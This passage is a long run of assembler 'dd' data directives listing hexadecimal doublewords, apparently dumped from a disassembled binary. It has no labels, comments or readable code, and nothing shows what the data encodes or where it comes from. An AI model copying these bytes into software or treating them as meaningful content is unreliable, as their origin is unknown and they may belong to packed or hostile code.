		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h,	7F5ABAF0h
		dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
		dd 559D8A6h, 0E6A8C4Ah,	0B7D49C00h, 0BCCDA06Bh,	7AC40E11h
		dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
		dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h,	394F73C0h
		dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
		dd 0B85D3207h, 89C9B412h
		dd 26AA00FAh, 82EFF4h, 51CE7D8Dh, 0FDC39257h, 6642411Eh
		dd 21F34C47h, 387EBC7Ch, 0BF00493Eh, 19EBE8D2h,	0A800C3BEh
		dd 0B48EA30Eh, 9E2FACh,	1DA6759Fh, 42485536h, 62034BF8h
		dd 0D89B545h, 44A9D06Dh, 0A5CE0191h, 22D725BFh,	0B8AFC47h
		dd 0AC644A00h, 0F819F669h, 0A829001Ah, 0DF54E20h, 7BB8BA2Ch
		dd 3F6051ECh, 0BE80D616h, 105E0BB9h, 28808875h,	0CCAB85FBh
		dd 0D6502607h, 0E71FE031h, 558044BEh, 3E25D2F4h, 74047864h
		dd 0C0A040FBh, 0F02E13D3h, 0D8482AE8h, 48CD0076h, 9559B745h
		dd 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah, 2EC4694Bh
		dd 0C19062h, 88792B52h,	650078BFh, 80C1B0B7h, 107EBh, 3A740472h
		dd 7D956E67h, 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah
		dd 4DD78970h, 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h
		dd 20E6305h, 1D451723h,	0DA401929h, 92FE8048h, 0F104741Dh
		dd 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh
		dd 4A97892Bh, 1835B59h,	8E1CC778h, 700AFB45h, 0C90013BBh
		dd 4B7E0D0h, 2659FA5Fh,	0DE010Dh, 0E7557C8Ah, 0E8074284h
		dd 5319A76Bh, 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh
		dd 0A7E2F03h, 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h
		dd 67D38600h, 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h
		dd 0B000998h, 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h
		dd 0D4287528h, 2421F800h, 0B1541A22h, 102EC84h,	0AFFB672Dh
		dd 60DC68C2h, 0F4CF45Dh, 80553EADh, 0B9368BC5h,	3CD20873h
		dd 0B897304Ah, 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h
		dd 0C8460048h, 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h
		dd 0B8A20F44h, 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h
		dd 1326FE9h, 36FFC327h,	30E025E2h, 5C484A69h, 7CBC000Fh
		dd 0A72B20D1h, 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h
		dd 0DDCAEF01h, 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h
		dd 0BE4A2FFh, 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah
		dd 4E47C14Bh, 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h
		dd 95030097h, 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h
		dd 36C85E8h, 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh,	0D68A4200h
		dd 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh
		dd 3E73E700h, 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh
		dd 2F652500h, 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h
		dd 2DDAC408h, 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h
		dd 0AEA4772Fh, 1174A03Dh, 0B239CBh, 0EB057D0Bh,	0FF35EFAAh
		dd 4831B800h, 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h
		dd 0D88831FFh, 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h
		dd 528EBCF0h, 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh
		dd 7500DB83h, 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h
		dd 0FC7B0A00h, 0ED45AA09h, 64407A7h, 906A1863h,	86D89A3Bh
		dd 10AE7B00h, 2474DC2Fh, 1D1707D9h, 0FE201319h,	575AA00h
		dd 0AE000AC5h, 5EEEE674h, 3F105CB0h, 34818ACCh,	0BA169DF8h
		dd 0BC59C0BEh, 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh
		dd 5728D152h, 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h
		dd 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah
		dd 5161DA4Bh, 1FA109Dh,	0BEFC8A07h, 85308F58h, 79A8D9ECh
		dd 5F72014Eh, 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch
		dd 0D37330h, 68F810D9h,	21BE42B8h, 0D611EC00h, 0F49061DFh
		dd 0ABF300E5h, 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h
		dd 63C817ACh, 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h
		dd 0E0C7007Ch, 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h
		dd 16DF95E3h, 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h
		dd 78C749B8h, 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h
		dd 8DFB0228h, 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch
		dd 0D530B700h, 0CAC0237Ch, 25F74Ch, 0F64C9B90h,	0B00507h
		dd 0AFECE901h, 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h
		dd 9EEDF49Dh, 283C3043h, 48080400h, 200C112Ch, 10440114h
		dd 66D38318h, 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh
		dd 2E3A4D09h, 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h
		dd 0AB770029h, 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h
		dd 0C300DF29h, 2CBED669h, 39B467E3h, 721B5348h,	44E81EA2h
		dd 8013BF7Bh, 0B700E99Fh, 45DD2609h, 600400F3h,	50520717h
		dd 0AE8E2ADh, 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h
		dd 7D0CC5EBh, 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh
		dd 8F00BB98h, 51057724h, 49BAFFh, 88B04876h, 427A92A2h
		dd 0BF01EA07h, 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh
		dd 0DB80600h, 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h
		dd 0F4007FDEh, 13B2F628h, 306614A9h, 602AE89Dh,	32037273h
		dd 85FC15C8h, 610AC0F6h, 1E760314h, 0F421FA12h,	0E05816D1h
		dd 0C004277h, 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h
		dd 7C00C53Ah, 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h
		dd 0F7F420F8h, 4301200h, 16344828h, 1F722Ch, 93FC4978h
		dd 9A2F58A0h, 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh
		dd 3B46F200h, 0C4972CEh, 1220E002h, 0E00161C3h,	72BE1B3h
		dd 53449FD0h, 86260E8h,	5AC07473h, 0FA9DD29h, 0D5800714h
		dd 0A0240BC9h, 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh
		dd 76EB3B32h, 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh
		dd 75242789h, 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h
		dd 0C3401D16h, 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch
		dd 18151048h, 0B975A775h, 7208F600h, 277C432Dh,	28393A29h
		dd 0BF1C4412h, 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h
		dd 5E079849h, 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h
		dd 0B100EA42h, 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h
		dd 47763196h, 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh
		dd 7542AF00h, 0F9CEC937h, 83C6DAC3h, 7ABD32A2h,	339000B6h
		dd 681574C5h, 0C8480C2Bh, 76193C00h, 8B0FC0FBh,	1DA6CE00h
		dd 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh
		dd 0F0141BAEh, 810B00A6h, 0F73002B0h, 71009735h, 88930839h
		dd 2E03117h, 0EA1052Bh,	14409601h, 0E11EA4A8h, 4AA6C44Eh
		dd 75027600h, 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h
		dd 21AF7819h, 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h
		dd 6E9F18h, 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h
		dd 1D08F9D7h, 0CFBFF4h,	0F7B0A16Eh, 75078268h, 972CB815h
		dd 9167AB30h, 96B438F3h, 3043D001h, 0F4C54C16h,	6400EC7Eh
		dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h
		dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h,	2CF0CC2h
		dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h,	0EB3FC618h
		dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h
		dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h,	0B8010C6h
		dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h,	0E4CCA02Fh
		dd 0E0D3ECC1h
		dd 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h,	7836C026h
		dd 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch, 0A052431Ch
		dd 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h, 0A12C252h
		dd 35030FC3h, 85E36798h, 0E8F980AFh, 0EB003AF9h, 1C8B0104h
		dd 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h,	44073848h
		dd 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h,	5DD82046h
		dd 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h,	5800C909h
		dd 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh, 17039A7Eh
		dd 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h
		dd 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h
		dd 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah,	0EDE7C1F9h
		dd 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch,	0BEE2418h
		dd 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh
		dd 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh,	0FF15EE33h
		dd 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h
		dd 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h,	200758C4h
		dd 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h, 741CAF94h
		dd 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h
		dd 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h
		dd 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch,	0BB6CF74h
		dd 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h, 7FAE037Ah
		dd 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh,	53012910h
		dd 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h,	29206A15h
		dd 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h, 30500DA3h
		dd 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h, 8800A495h
		dd 4178C646h, 91085B8h,	436DAC14h, 0A16A1787h, 2AB47023h
		dd 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h, 11A7EEAh
		dd 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h,	0AA4D3B21h
		dd 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h,	0E2C78E21h
		dd 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h, 0EC1BF1A2h
		dd 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh, 0BA029482h
		dd 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah, 8FAEC3ABh
		dd 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h, 14D60818h
		dd 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h,	437C9C00h
		dd 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h, 750B0C8h
		dd 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h,	275FC4F7h
		dd 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h, 9B12B2BBh
		dd 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h, 5100C2E9h
		dd 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h
		dd 348504Ah, 4C425A06h,	84C37210h, 0B3EF54B0h, 0B8278000h
		dd 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h, 96004022h
		dd 0F0C747D8h, 230148h,	0E676045h, 0CDAB894Ch, 50EF4000h
		dd 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h, 8100C3D2h
		dd 22EEEF5Ch, 3600EC0h,	0FEDCBA98h, 10E06480h, 8901ABCDh
		dd 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h,	9300ACE1h
		dd 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h, 7E08008h
		dd 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h, 0F4D553DBh
		dd 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h, 0D82F707Fh
		dd 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h, 0DD8192C4h
		dd 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h,	7B816A09h
		dd 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh, 7B74BF54h
		dd 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h
		dd 24A91229h, 3B51064h,	0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch
		dd 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h, 0EB00EAB3h
		dd 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h, 0BDA71801h
		dd 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh, 3105BDBAh
		dd 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h, 0AF005DE8h
		dd 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh, 808CF503h
		dd 0F07013DBh, 692124h,	4C33A91Ch, 0F101188h, 0F87C7E0Fh
		dd 7DAB40FDh, 0BDCE17h,	0A9F047C1h, 234E9C24h, 4BE2600h
		dd 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h
		dd 4610DE70h, 6714C1BEh, 147870h, 87C62A01h, 52F13547h
		dd 34978C00h, 90CC8523h, 13040018h, 27A83046h, 40077E58h
		dd 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h, 4369080Fh
		dd 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h, 0CDE49D87h
		dd 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch, 1E905CD7h
		dd 3B10C065h, 30C485BFh, 11220107h, 88506B90h, 7F5E08B0h
		dd 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch, 38519D88h
		dd 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h, 0F1E9E849h
		dd 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h, 58C4CB1h
		dd 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h, 0A1785CB1h
		dd 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h, 30147681h
		dd 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h,	9600D7D2h
		dd 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh,	0D62F3010h
		dd 9888A3E8h, 285138h, 42441453h, 0BB42302h, 5729B7C4h
		dd 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h, 40D300FBh
		dd 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h,	721E1CDh
		dd 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh
		dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h
		dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh
		dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh
		dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh
		dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h,	2BA09DC2h
		dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h
		dd 7D04C55h, 6122E02Bh,	856DA39Dh, 0E2B5ADD0h, 700E1000h
		dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h
		dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h
		dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h
		dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h
		dd 993D143h, 27FAEF41h,	83488E82h, 1641A1E2h, 1BCEFC5Ch
		dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h
		dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh
		dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h
		dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h
		dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h,	97000185h
		dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh
		dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h
		dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h,	9AD8C400h
		dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h,	0C40D544h
		dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h
		dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h
		dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h
		dd 42900FFEh
		dd 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h, 8D2A107h
		dd 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh, 0ED4254B9h
		dd 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch, 0D2BB8211h
		dd 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h,	0BAEB8637h
		dd 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h, 0B6FEF463h
		dd 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h,	641545Ah
		dd 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h
		dd 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h,	0F5504890h
		dd 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh, 0AE6E9h
		dd 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh,	3F97F51h
		dd 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh,	1F4C37C7h
		dd 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch, 67AE5087h
		dd 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah,	80D7143Ch
		dd 8A2B5A3h, 58D59502h,	17BD71Fh, 7E2B3CCh, 0DD6C1904h
		dd 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h,	0E6EBF600h
		dd 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh,	800E83B6h
		dd 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h, 230B280h
		dd 71CB5CEh, 8D1A0640h,	59A08F88h, 46CD1834h, 720C81Dh
		dd 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h, 0BEE2AE91h
		dd 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h
		dd 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h, 2E1037A9h
		dd 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh, 0C0346437h
		dd 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh, 6DB69773h
		dd 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h, 2F283791h
		dd 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h, 469900C1h
		dd 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h, 0C374C00h
		dd 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h,	3887A42Ah
		dd 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h, 9BF0ACC4h
		dd 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h, 0C937E794h
		dd 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h, 0A54C433Dh
		dd 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h, 6214230Ch
		dd 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h
		dd 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h, 2CFE2Eh
		dd 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch, 4E0360h
		dd 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh, 3228025h
		dd 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh, 0F9485DBh
		dd 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh
		dd 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh, 0FBC8C42h
		dd 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h,	0BD9D0718h
		dd 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h
		dd 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h, 0DD4C0105h
		dd 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h,	0A4A87D01h
		dd 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h, 54888CFh
		dd 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h, 2EBCD007h
		dd 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh,	0DE4CAF00h
		dd 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h, 811009CAh
		dd 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch,	1DA500E1h
		dd 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h,	54A43724h
		dd 12080E00h, 0E601D9h,	0A9ED2116h, 2C7920C4h, 22F93109h
		dd 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch, 4E00AA10h
		dd 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh,	3F0CE2AAh
		dd 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh,	8006569Ch
		dd 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h, 97134C34h
		dd 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h, 0EAC4313h
		dd 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h, 22CFEEh
		dd 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h, 174B8F5h
		dd 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h,	1BD00506h
		dd 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh,	0FB4ED472h
		dd 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h, 6F4A4CCAh
		dd 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh,	9088D496h
		dd 0B17DEFh, 9D28467Eh,	0F2A4C010h, 0F5A1361Fh,	38290B00h
		dd 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h, 69AE1D84h
		dd 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh,	0D1958EFFh
		dd 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h,	142F43Fh
		dd 0E95018C8h, 13208DAEh, 62F023h, 4216E427h, 0AF1C843Ch
		dd 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h,	244C8900h
		dd 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h,	571F5E00h
		dd 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h,	3F50E4F8h
		dd 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h, 4C592D2Eh
		dd 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h,	0E9C40009h
		dd 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh,	0FE5A00B9h
		dd 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh, 0A159E2A4h
		dd 984BE623h, 242F862h,	2ECFB118h, 0C6405662h, 0FF1F3452h
		dd 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h, 0F03C165Fh
		dd 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h,	2DAC22B3h
		dd 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh, 4A089FABh
		dd 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh,	0D9C2F030h
		dd 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h, 5C4D27D1h
		dd 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h, 0E85C136Dh
		dd 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h,	0BFA32280h
		dd 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h, 5B45DB05h
		dd 5F09024h, 38507BF9h,	6226C3E9h, 3560B4DAh, 2B059714h
		dd 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh,	1A052238h
		dd 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh,	0F1561527h
		dd 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah,	0F41A682h
		dd 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h, 0EA13DDF8h
		dd 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh,	0CC03A513h
		dd 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h,	0FCDD6510h
		dd 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h,	0A4D7CE7h
		dd 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h,	0EC1B0960h
		dd 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h,	0EC56682Ch
		dd 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh,	0B89D979Fh
